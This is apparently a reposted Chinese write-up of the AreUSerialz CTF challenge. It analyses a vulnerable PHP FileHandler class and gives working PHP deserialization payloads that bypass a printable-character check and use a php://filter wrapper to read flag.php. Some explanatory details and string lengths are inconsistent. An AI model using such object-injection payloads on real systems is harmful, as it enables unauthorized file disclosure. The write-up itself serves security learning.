欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

[网朝杯2020青龙组] AreUSerialz

最编程 2024-10-12 11:49:41
...

目录

一、题目分析

(1)构造函数

 (2)process函数

 (3)write函数

(4)read函数

(5)destruct函数

(6)is_vaild判断条件函数

 (7)传参判断条件

二、解题

解法一:

 解法二:


一、题目分析

点击页面查看源码,可以发现有一个类FileHandler,关键是类中的三个参数$op,$filename,$content,都是protected类型的

 接下来仔细分析每个函数:

(1)构造函数

构造函数在类被创建时调用,这里将op初始化为字符1,并初始化filename和content,最后调用process函数。

function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

 (2)process函数

判断$op的值,如果$op=1调用write函数,如果$op=2调用read函数,并output读取到的内容。

注意这里的比较是弱比较,也就是说比较的时候会自动把等号两边的变量类型转换为一样,只要我们将op置为数字2,那么这里的第二个if中的弱等于就会返回true,从而执行read函数,并将结果输出

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

 (3)write函数

写入函数,可以执行写入文件的操作,判断传入的内容content的长度是否大于100。

$res = file_put_contents($this->filename, $this->content);

filename表示要写入的文件,content表示要写入文件的内容。

 private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

(4)read函数

read函数执行写的功能,通过file_get_contents函数读取想要读取的文件,值得注意的是,读取的内容并不会直接输出,要想查看输出的内容需要查看源码,或者使用filter协议来进行读取。

这里我们可以知道,题目提示有flag.php文件,我们可以利用read函数来进行读取flag.php文件的内容。

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

(5)destruct函数

在php中,destruct会在序列化的时候自动调用。

这里判断$op的值是否为字符2,这里的比较为强比较类型,如果为字符2,就将op置为字符1,并将content置为空。

通过前面的分析我们知道,read函数是通过process函数来调用的,如果op被置为1,就不会调用read函数,于是我们要绕过,可以将令op等于数字2,这样在强比较下,$this->op === "2"是不成立的,实现绕过。

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

(6)is_vaild判断条件函数

用于判断传入的字符串s的每一个字符的ascii码值,是不是都在[32,125]这个区间内,如果是则返回true,不是则返回false;

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

 查看ascii码表发现[32,125]这个区间内的都是可打印字符。

 (7)传参判断条件

get方式传入str,判断str是否都是可打印的字符,如果是就将str反序列化。

看到这里我们已经有了解题的思路,即将序列化的内容传入str即可。

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

二、解题

首先我们令op等于数字2,绕过destruct函数的的强比较。

在上面我们提到read函数当中的file_get_contents不能直接显示read文件的内容,这里我们采用filter协议来读取文件内容。

<?php

highlight_file(__FILE__);

class FileHandler {

    protected $op=2;

    protected $filename="php://filter/convert.base64-encode/resource=/web/html/flag.php";

    protected $content;

}

$FileHandler = new FileHandler();

$test = serialize($FileHandler);

echo $test;

但是我们执行程序之后发现,输出的内容存在不可读的字符,即乱码字符。

 这是因为我们的变量$op,$filename,$content,都是protected类型的,输出的时候会在变量名前面加上%00*%00,我们所见到的不可打印字符就是%00,其ascii码值为0.

 如果将这串存在不可打印字符的字符串传入str参数,is_valid函数的返回值为0,从而就不会调用unserilize函数。

解法一:

将chr(0)以转化为\00*\00的方式输出,并将小写的s:替换为大写的S:输出,利用大写S采用的16进制,来绕过is_valid中对空字节的检查。

<?php

highlight_file(__FILE__);

class FileHandler
{

    protected $op=2;
    protected $filename="php://filter/convert.base64-encode/resource=flag.php";
    protected $content;


}

$a=new FileHandler();
$b=serialize($a);
$b = str_replace(chr(0), '\00', $b);
$b = str_replace('s:','S:', $b);
echo $b;

#O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

得到的payload

?str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:52:"php://filter/convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

可以看到flag.php以base64的方式读取出来了,解密即可得到flag

 解法二:

php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可.

<?php

highlight_file(__FILE__);

class FileHandler
{

    public $op=2;
    public $filename="php://filter/convert.base64-encode/resource=flag.php";
    public $content;


}

$a=new FileHandler();
$b=serialize($a);
#$b = str_replace(chr(0), '\00', $b);
#$b = str_replace('s:','S:', $b);
echo $b;

#O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

构造payload:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}

就写到这里啦,喜欢的话给我点个赞吧!!!

上一篇: 数据可视化

下一篇: Linux 常用操作